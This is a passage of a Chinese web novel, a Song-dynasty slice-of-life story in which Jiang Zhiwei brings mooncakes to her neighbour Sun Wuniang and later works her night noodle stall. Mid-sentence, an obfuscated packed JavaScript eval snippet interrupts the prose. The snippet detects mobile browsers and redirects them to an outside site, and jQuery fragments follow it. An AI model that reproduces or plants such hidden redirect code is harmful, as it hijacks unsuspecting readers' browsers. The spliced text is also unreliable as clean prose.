她没拿铁锅，只在身后藏了半根断掉的笤帚，一手擎着盛了两个月饼的木碗，蹑手蹑脚地往对门孙五娘家摸去。 大门依旧紧阖着，虎视眈眈地睨着鬼鬼祟祟的来人。 江知味站在墙边，捏起嗓子轻声道：“小孛萄，小孛萄，我给你带吃食来了。” 墙内没有动静。当然，有动静才不正常呢。毕竟这孩子走路没声，但要是把她娘亲喊出来了，闹出的动静指定不小。 江知味一颗心提到了嗓子眼上，左右顾盼了一番，又喊：“小孛……” “嘭”地一声巨响，院门被孙五娘一脚踹开。 江知味被吓得原地窜了窜，反应过来时，孙五娘已经黑着脸，拿着一根竹竿杵在她跟前了。 宋时的市井妇人大多流行上衫下裙的打扮。可孙五娘的衣着，却是全然反着来的。 她将本该系在腰上的裙裾披到了肩头，胸前胡乱缠着一条裂开个大口的领抹。下身那件明黄色的长衫倒是色泽鲜艳，就是错把袖口当成了裤腿，还上下颠倒着，将垂下的衣摆在腰上系了个结。 怕江知味被欺负，一直在门边暗中观察的凌花连忙跑出来。 孙萄也急急追出来，双手紧箍住了她的腿：“娘，这是江家姐姐，不是坏人，是来给咱们送吃食的。” 孙五娘依旧一副怒发冲冠的模样。 她的头发倒是梳得整齐，边上簪一根木头簪子，顶上如寻常妇人那般，盘了个大盘发髻。只是发髻越大，衬得她的脸越发蜡黄消瘦，面上的皱纹亦如藤蔓般爬得到处都是。 宋人女子十五岁及笄便能婚嫁，按照她两个孩子的年纪推断，孙五娘现今最多不过三十岁。在这个本该满面春光的年岁，她竟把自己折腾得这般苍老、憔悴。 可同样如此的，又岂止孙五娘一人呢。 看向身侧凌花头上的白发，江知味对这孙五娘，内心除了恐惧，又升起了一股怜惜。 她搭住凌花的肩膀，将她往身后推了推，自个儿则是进了几步，来到孙五娘的跟前：“孙嫂子好，我是住你对门的知姐儿。先前因为落水昏迷，一直没同你打过招呼。如今醒了，便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16229126|180144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想着带两个自家做的鲜肉月饼，来看看你们。” “你是前阵子金明池落水的江家二姐儿？”孙五娘面上一滞，上下打量了她一眼，“你还活着，能走能跳，还能做饼子？” “是我，嫂子。”江知味把鲜肉月饼递上去，“嫂子尝尝吧，还温热着呢。” 孙五娘没再说话，只静静地望着碗中月饼上鲜红的图案，喃喃道：“是红孛萄啊。” 炸起的毛发瞬时被抚平，她顿显眼中柔和，轻手轻脚地接过木碗，捧在怀里，像揣了个金元宝似的小心。 她就那么一言不发地望着月饼上的孛萄图案好久好久，之后仿若四下里无人似的，牵起孙萄的手进屋去了。 “这就走了？”凌花弄不明白，“还顺走了咱家的碗？” 江知味哭笑不得：“娘，一个碗而已，谁家用不是用呢。” 凌花轻笑了下：“算啦，你娘我也不是斤斤计较的人。只要萄姐儿能吃上东西就行，知姐儿你说是吧？” 江知味点点头，也如孙五娘那般，牵起凌花的手：“娘，咱们也进去吧？你刚就吃了一个月饼，不顶饱吧。我再做个冰糖烤梨，把那梨子炖得烂乎乎的，再多放点糖，让你吃得满嘴都是甜汁水。” “小孩子才吃饧呢。” “老孩子一样能吃。” “嗳你个小兔崽子，你娘我才刚四十岁，说谁老呢啊……” 母女俩说说笑笑，吃着绵软的烤梨，便及入夜。 江知味一如既往地拉车到横桥子上，继续着她的摆摊日常。 与前两日相较，今日来参加爆辣索饼挑战的客人明显少了。 能挑战成功的，她都已经眼熟了，也明确说明了不能重复挑战。单纯冲着免单来的那些，便没再为了这六文钱再行光顾了。 至于其他回头客，大多是奔着微辣索饼来的。有些口味重的，顶多会央她额外加点儿芥子辣。如此就不用白白添上一文钱，去参加劳什子爆辣挑战了。 今日排队的食客便没分成两股。 江知味总算没忙得和陀螺似的脚不沾地了，反倒觉得这种经营状态挺好。起码她一个就能忙活得过来，还能抽着空，和隔壁宽婶说说话。 短短几日，宽婶的状态比先前好多了。虽还是那般清瘦，但在灯火映照下，竟能看出面上浮起的丁点儿红光了。 江知味称之为“金钱的力量”。想来是生活的压力小了，人也跟着开朗了。 宽婶笑意满满地同她道：“江娘子，中秋那日我便不来了。我家学哥儿从学塾回来，我们一家子要吃团圆饭的。” 宽婶家有两个孩子。大哥儿和江风同岁，都在私立学塾念书。江知味不问不知道，原来宽婶家的学哥儿竟和江风身在同一个学塾。 又想起江风提起的两个同窗，再一问起，其中那位帮他补习的“李学”，竟是宽婶的儿子。 两人都觉得这缘分巧妙极了，这天聊的，就更起劲了些。 临到午夜，江知味还剩了些火焰索饼没卖完。她身上疲乏，想早些回去，便和宽婶商量着，一齐将桶里剩下的分吃了。 正低下头，伸手进桶里挑索饼，就听见身前传来一道温柔的嗓音：“我今日来晚了，江娘子这儿可还有没卖完的吃食？” 那声线清冽通透，却不似雪中寒潭那般清冷疏离。倒像乍暖还寒的春日里绵绵落下的一场雨，柔和中带着些许喑哑，自不经意间悄然临世，而后润物于微处。 江知味仰起脸来，竟是只身前来的疯驴郎君。 他今日换了一身领口绣鹤纹的米黄色窄袖圆领袍衫。左手拎一个红木鸟笼，里头站着只黑体黄喙的八哥鸟，右手则垂挂着一条有他手臂粗长的大鲫鱼。 面上微微笑着，温柔又专注地望着她的眉目。